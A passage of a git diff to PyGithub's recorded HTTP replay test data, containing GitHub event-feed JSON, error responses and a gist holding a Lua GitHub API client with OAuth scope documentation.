repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-22T19:15:30Z","id":"1554712197","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"DownloadEvent","payload":{"download":{"name":"Foobar.txt","size":1024,"created_at":"2012-05-22T19:11:49Z","content_type":"text/richtext","download_count":0,"url":"https://api.github.com/repos/jacquev6/PyGithub/downloads/242556","id":242556,"description":"Download created by PyGithub","html_url":"https://github.com/downloads/jacquev6/PyGithub/Foobar.txt"}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-22T19:11:49Z","id":"1554710791","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"DownloadEvent","payload":{"download":{"name":"Foobar.txt","created_at":"2012-05-22T18:58:32Z","size":1024,"content_type":"text/plain","url":"https://api.github.com/repos/jacquev6/PyGithub/downloads/242550","download_count":0,"id":242550,"description":null,"html_url":"https://github.com/downloads/jacquev6/PyGithub/Foobar.txt"}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-22T18:58:32Z","id":"1554705673","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"CommitCommentEvent","payload":{"comment":{"position":19,"created_at":"2012-05-22T18:53:25Z","line":211,"body":"Foobar","commit_id":"6945921c529be14c3a8f566dd1e483674516d46d","updated_at":"2012-05-22T18:53:25Z","url":"https://api.github.com/repos/jacquev6/PyGithub/comments/1362020","id":1362020,"path":"src/github/AuthenticatedUser.py","html_url":"https://github.com/jacquev6/PyGithub/commit/6945921c529be14c3a8f566dd1e483674516d46d#commitcomment-1362020","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-22T18:53:25Z","id":"1554703698","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"CommitCommentEvent","payload":{"comment":{"position":3,"created_at":"2012-05-22T18:50:02Z","line":null,"body":"Comment also created by PyGithub","commit_id":"6945921c529be14c3a8f566dd1e483674516d46d","updated_at":"2012-05-22T18:50:02Z","url":"https://api.github.com/repos/jacquev6/PyGithub/comments/1362001","id":1362001,"path":"codegen/templates/GithubObject.MethodBody.UseResult.py","html_url":"https://github.com/jacquev6/PyGithub/commit/6945921c529be14c3a8f566dd1e483674516d46d#commitcomment-1362001","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-22T18:50:02Z","id":"1554702296","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"CommitCommentEvent","payload":{"comment":{"position":null,"created_at":"2012-05-22T18:49:34Z","line":26,"body":"Comment created by PyGithub","commit_id":"6945921c529be14c3a8f566dd1e483674516d46d","updated_at":"2012-05-22T18:49:34Z","url":"https://api.github.com/repos/jacquev6/PyGithub/comments/1362000","id":1362000,"path":"codegen/templates/GithubObject.MethodBody.UseResult.py","html_url":"https://github.com/jacquev6/PyGithub/commit/6945921c529be14c3a8f566dd1e483674516d46d#commitcomment-1362000","user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-22T18:49:34Z","id":"1554702087","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"CommitCommentEvent","payload":{"comment":{"position":null,"created_at":"2012-05-22T18:40:18Z","body":"Comment created by PyGithub","line":null,"commit_id":"6945921c529be14c3a8f566dd1e483674516d46d","updated_at":"2012-05-22T18:40:18Z","url":"https://api.github.com/repos/jacquev6/PyGithub/comments/1361949","id":1361949,"path":null,"html_url":"https://github.com/jacquev6/PyGithub/commit/6945921c529be14c3a8f566dd1e483674516d46d#commitcomment-1361949","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-22T18:40:18Z","id":"1554698320","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"CommitCommentEvent","payload":{"comment":{"position":null,"created_at":"2012-05-22T18:36:58Z","line":null,"body":"Comment created by PyGithub","updated_at":"2012-05-22T18:36:58Z","commit_id":"6945921c529be14c3a8f566dd1e483674516d46d","url":"https://api.github.com/repos/jacquev6/PyGithub/comments/1361928","id":1361928,"path":null,"user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"html_url":"https://github.com/jacquev6/PyGithub/commit/6945921c529be14c3a8f566dd1e483674516d46d#commitcomment-1361928"}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-22T18:36:58Z","id":"1554697057","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"WatchEvent","payload":{"action":"started"},"public":true,"repo":{"url":"https://api.github.com/repos/nvie/gitflow","id":481366,"name":"nvie/gitflow"},"created_at":"2012-05-22T17:15:11Z","id":"1554664316","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"661812b9dd136efdb0e0c413793deb0939146651","size":2,"push_id":79550719,"commits":[{"sha":"c93f9cc8484b7835130689befc89ae88c7e72694","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/c93f9cc8484b7835130689befc89ae88c7e72694","distinct":true,"message":"Remove noise in human readable description"},{"sha":"661812b9dd136efdb0e0c413793deb0939146651","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/661812b9dd136efdb0e0c413793deb0939146651","distinct":true,"message":"Test watching"}],"ref":"refs/heads/topic/RewriteWithGeneratedCode"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-21T13:48:45Z","id":"1554164185","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"WatchEvent","payload":{"action":"started"},"public":true,"repo":{"url":"https://api.github.com/repos/nvie/gitflow","id":481366,"name":"nvie/gitflow"},"created_at":"2012-05-21T11:31:55Z","id":"1554123822","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-21T11:17:12Z","body":"Implemented in ca97469. Will be in version 1.0.","updated_at":"2012-05-21T11:17:12Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/5820199","id":5820199,"user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},"action":"created","issue":{"number":26,"created_at":"2012-05-17T12:02:05Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"body":"Hi!\n\nI tried to find a function which returns the number of API requests I have remaining due to [rate limiting](http://developer.github.com/v3/#rate-limiting). Is this somewhere in the library and I can't find it? If not, I think it would be a great feature to have, to be able to keep track of how many requests certain actions use up.","comments":3,"title":"Rate limiting?","updated_at":"2012-05-21T11:17:12Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/26","id":4622816,"assignee":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"milestone":{"number":2,"created_at":"2012-03-08T12:22:28Z","due_on":"2012-06-04T07:00:00Z","title":"Version 1.0: coherent public interface","creator":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","id":93547,"closed_issues":2,"open_issues":9,"description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","state":"open"},"closed_at":"2012-05-21T11:17:12Z","html_url":"https://github.com/jacquev6/PyGithub/issues/26","user":{"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","id":327442,"login":"bilderbuchi"},"labels":[{"name":"Public interface","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Public+interface","color":"d7e102"}],"state":"closed"}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-21T11:17:14Z","id":"1554120319","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"IssuesEvent","payload":{"action":"closed","issue":{"number":26,"created_at":"2012-05-17T12:02:05Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"body":"Hi!\n\nI tried to find a function which returns the number of API requests I have remaining due to [rate limiting](http://developer.github.com/v3/#rate-limiting). Is this somewhere in the library and I can't find it? If not, I think it would be a great feature to have, to be able to keep track of how many requests certain actions use up.","comments":3,"title":"Rate limiting?","updated_at":"2012-05-21T11:17:12Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/26","id":4622816,"assignee":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"milestone":{"number":2,"created_at":"2012-03-08T12:22:28Z","due_on":"2012-06-04T07:00:00Z","title":"Version 1.0: coherent public interface","creator":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","id":93547,"open_issues":9,"closed_issues":2,"description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","state":"open"},"closed_at":"2012-05-21T11:17:12Z","html_url":"https://github.com/jacquev6/PyGithub/issues/26","user":{"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","id":327442,"login":"bilderbuchi"},"labels":[{"name":"Public interface","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Public+interface","color":"d7e102"}],"state":"closed"}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-21T11:17:14Z","id":"1554120316","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"ca974699b0ea2a770e6c2dbd162b3d2c0ae9fe89","size":1,"push_id":79524271,"commits":[{"sha":"ca974699b0ea2a770e6c2dbd162b3d2c0ae9fe89","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/ca974699b0ea2a770e6c2dbd162b3d2c0ae9fe89","distinct":true,"message":"Retrieve rate limiting information"}],"ref":"refs/heads/topic/RewriteWithGeneratedCode"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-21T11:16:05Z","id":"1554120027","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"d5ba645d446d9c237a52ddc9cdc6862e399c62dc","size":4,"push_id":79431688,"commits":[{"sha":"fd18d6299da666bffb9490a1a784060ca7a516f1","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/fd18d6299da666bffb9490a1a784060ca7a516f1","distinct":true,"message":"Test IssueComment"},{"sha":"beaa58ca0c038469b3b553b804b4d37b2363f8e2","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/beaa58ca0c038469b3b553b804b4d37b2363f8e2","distinct":true,"message":"Test IssueEvent attributes"},{"sha":"6a2e4b4958385667c892cbd720fb91c6c44ab81a","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/6a2e4b4958385667c892cbd720fb91c6c44ab81a","distinct":true,"message":"Improve test coverage of NamedUser"},{"sha":"d5ba645d446d9c237a52ddc9cdc6862e399c62dc","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/d5ba645d446d9c237a52ddc9cdc6862e399c62dc","distinct":true,"message":"Improve test coverage of AuthenticatedUser"}],"ref":"refs/heads/topic/RewriteWithGeneratedCode"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-20T17:59:32Z","id":"1553953684","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"FollowEvent","payload":{"target":{"name":"Vincent Driessen","company":"3rd Cloud","gravatar_id":"c5a7f21b46df698f3db31c37ed0cf55a","avatar_url":"https://secure.gravatar.com/avatar/c5a7f21b46df698f3db31c37ed0cf55a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","created_at":"2009-05-12T21:19:38Z","location":"Netherlands","public_repos":61,"blog":"http://nvie.com","followers":297,"url":"https://api.github.com/users/nvie","public_gists":16,"hireable":false,"id":83844,"type":"User","bio":null,"login":"nvie","html_url":"https://github.com/nvie","email":"vincent@3rdcloud.com","following":41}},"public":true,"repo":{"url":"https://api.github.com/repos//","name":"/"},"created_at":"2012-05-20T12:47:52Z","id":"1553918130","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}}] - diff --git a/tests/ReplayData/Exceptions.testBadAuthentication.txt b/tests/ReplayData/Exceptions.testBadAuthentication.txt index 4028ca2937..dc75bd1d37 100644 --- a/tests/ReplayData/Exceptions.testBadAuthentication.txt +++ b/tests/ReplayData/Exceptions.testBadAuthentication.txt @@ -8,4 +8,3 @@ None 401 [('status', '401 Unauthorized'), ('content-length', '29'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('etag', '"ca6a3702f840b6bff0bb1bca6be0337c"'), ('date', 'Sat, 02 Jun 2012 12:12:32 GMT'), ('content-type', 'application/json; charset=utf-8')] {"message":"Bad credentials"} - diff --git a/tests/ReplayData/Exceptions.testInvalidInput.txt b/tests/ReplayData/Exceptions.testInvalidInput.txt index eb50d39854..1652df2112 100644 --- a/tests/ReplayData/Exceptions.testInvalidInput.txt +++ b/tests/ReplayData/Exceptions.testInvalidInput.txt @@ -8,4 +8,3 @@ None 422 [('status', '422 Unprocessable Entity'), ('x-ratelimit-remaining', '4995'), ('content-length', '221'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"73f756ef75655dd74463eb1bf4cfefe1"'), ('date', 'Wed, 30 May 2012 07:00:27 GMT'), ('content-type', 'application/json; charset=utf-8')] {"message":"Validation Failed","errors":[{"field":"key","resource":"PublicKey","message":"key is invalid. It must begin with 'ssh-rsa' or 'ssh-dss'. Check that you're copying the public half of the key","code":"custom"}]} - diff --git a/tests/ReplayData/Exceptions.testNonJsonDataReturnedByGithub.txt b/tests/ReplayData/Exceptions.testNonJsonDataReturnedByGithub.txt index 34340f8419..2c64822ff4 100755 --- a/tests/ReplayData/Exceptions.testNonJsonDataReturnedByGithub.txt +++ b/tests/ReplayData/Exceptions.testNonJsonDataReturnedByGithub.txt @@ -8,4 +8,3 @@ None 503 [('status', '503 Servive Unavailable'), ('content-length', '104'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('etag', '"ca6a3702f840b6bff0bb1bca6be0337c"'), ('date', 'Sat, 02 Jun 2012 12:12:32 GMT'), ('content-type', 'application/json; charset=utf-8')]

503 Service Unavailable

No server is available to handle this request. - diff --git a/tests/ReplayData/Exceptions.testUnknownObject.txt b/tests/ReplayData/Exceptions.testUnknownObject.txt index fbb8a31e31..2126255358 100644 --- a/tests/ReplayData/Exceptions.testUnknownObject.txt +++ b/tests/ReplayData/Exceptions.testUnknownObject.txt @@ -19,4 +19,3 @@ None 404 [('status', '404 Not Found'), ('x-ratelimit-remaining', '4970'), ('content-length', '23'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"e66a7a6c91e2c26803f3f49feb7a883f"'), ('date', 'Sat, 02 Jun 2012 12:11:47 GMT'), ('content-type', 'application/json; charset=utf-8')] {"message":"Not Found"} - diff --git a/tests/ReplayData/Exceptions.testUnknownUser.txt b/tests/ReplayData/Exceptions.testUnknownUser.txt index 98935a9eae..7d7a8f6090 100644 --- a/tests/ReplayData/Exceptions.testUnknownUser.txt +++ b/tests/ReplayData/Exceptions.testUnknownUser.txt @@ -8,4 +8,3 @@ None 404 [('status', '404 Not Found'), ('x-ratelimit-remaining', '4968'), ('content-length', '23'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"e66a7a6c91e2c26803f3f49feb7a883f"'), ('date', 'Sat, 02 Jun 2012 12:24:43 GMT'), ('content-type', 'application/json; charset=utf-8')] {"message":"Not Found"} - diff --git a/tests/ReplayData/ExposeAllAttributes.testAllClasses.txt b/tests/ReplayData/ExposeAllAttributes.testAllClasses.txt index 5a3cb71a52..5425c2d215 100644 --- a/tests/ReplayData/ExposeAllAttributes.testAllClasses.txt +++ b/tests/ReplayData/ExposeAllAttributes.testAllClasses.txt @@ -299,7 +299,7 @@ https GET api.github.com None -/repos/jacquev6/PyGithub/compare/master...develop +/repos/jacquev6/PyGithub/compare/master...develop?page=1&per_page=250 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 @@ -634,5 +634,3 @@ None None 304 [('status', '304 Not Modified'), ('x-ratelimit-remaining', '4863'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', 'd65865d1-e84d-418b-8465-54b9c8034ead'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept-Encoding'), ('server', 'GitHub.com'), ('last-modified', 'Sat, 20 Oct 2007 11:24:19 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"a4af9b5fe3ebc7d9ec2ecd4a637a4863"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 06 Sep 2013 15:06:37 GMT'), ('access-control-allow-origin', '*'), ('x-ratelimit-reset', '1378482241')] - - diff --git a/tests/ReplayData/Gist.testAttributes.txt b/tests/ReplayData/Gist.testAttributes.txt index 27eb6a8220..209645bc7a 100644 --- a/tests/ReplayData/Gist.testAttributes.txt +++ b/tests/ReplayData/Gist.testAttributes.txt @@ -19,4 +19,3 @@ None 200 [('content-length', '26707'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-served-by', '03d91026ad8428f4d9966d7434f9d82e'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('etag', '"893689529e8ac78913dad210662443ac"'), ('access-control-allow-credentials', 'true'), ('status', '200 OK'), ('x-ratelimit-remaining', '4983'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '62E80DDA:1FFB:7D4619:5366987A'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Sun, 04 May 2014 19:43:54 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1399236081')] {"url":"https://api.github.com/gists/6296732","forks_url":"https://api.github.com/gists/6296732/forks","commits_url":"https://api.github.com/gists/6296732/commits","id":"6296732","git_pull_url":"https://gist.github.com/6296732.git","git_push_url":"https://gist.github.com/6296732.git","html_url":"https://gist.github.com/6296732","files":{"GithubAPI.lua":{"filename":"GithubAPI.lua","type":"text/plain","language":"Lua","raw_url":"https://gist.githubusercontent.com/jacquev6/6296732/raw/88aafa25fb28e17013054a117354a37f0d78963c/GithubAPI.lua","size":21229,"content":"-- GithubAPI\n-- @Author : Hyro Vitaly Protago\n-- @Version : 1.0.0\n\n--[[\n\nINFOS :\n - Cannot delete an anonymous gist\n]]--\n\nGithubAPI = {\n\tlocation = \"https://api.github.com/\",\n\ttoken = nil,\n\tOAuth = {\n\t\tauthorizations = {}\n\t},\n\tgist = {\n\t\tlist = {},\n\t\tcomment = {}\n\t},\n\tgithub = {}\n}\n\n----------------------------------------------------------------------------\n------------------------------ Github API ----------------------------------\n----------------------------------------------------------------------------\n\n--- Authentication ---\n\n--[[ Scopes --\n\nScopes let you specify exactly what type of access you need. Scopes limit access for OAuth tokens.\nThey do not grant any additional permission beyond that which the user already has.\n\nFor the web flow, requested scopes will be displayed to the user on the authorize form.\n\nCheck headers to see what OAuth scopes you have, and what the API action accepts.\n\n~~~\n$ curl -H \"Authorization: token OAUTH-TOKEN\" https://api.github.com/users/technoweenie -I\nHTTP/1.1 200 OK\nX-OAuth-Scopes: repo, user\nX-Accepted-OAuth-Scopes: user\nX-OAuth-Scopes lists the scopes your token has authorized. X-Accepted-OAuth-Scopes lists the scopes that the action checks for.\n~~~\n\n- (no scope)\npublic read-only access (includes public user profile info, public repo info, and gists).\n- user\nRead/write access to profile info only. Note: this scope includes user:email and user:follow.\n- user:email\nRead access to a user’s email addresses.\n- user:follow\nAccess to follow or unfollow other users.\n- public_repo\nRead/write access to public repos and organizations.\n- repo\nRead/write access to public and private repos and organizations.\n- repo:status\nRead/write access to public and private repository commit statuses.\nThis scope is only necessary to grant other users or services access to private repository commit statuses without granting access to the code.\nThe repo and public_repo scopes already include access to commit status for private and public repositories respectively.\n- delete_repo\nDelete access to adminable repositories.\n- notifications\nRead access to a user’s notifications. repo is accepted too.\n- gist\nWrite access to gists.\n\nNOTE: Your application can request the scopes in the initial redirection. You can specify multiple scopes by separating them by a comma.\n~~~\nhttps://github.com/login/oauth/authorize?\n client_id=...&\n scope=user,public_repo\n~~~\n]]--\n\n-- Redirect users to request GitHub access 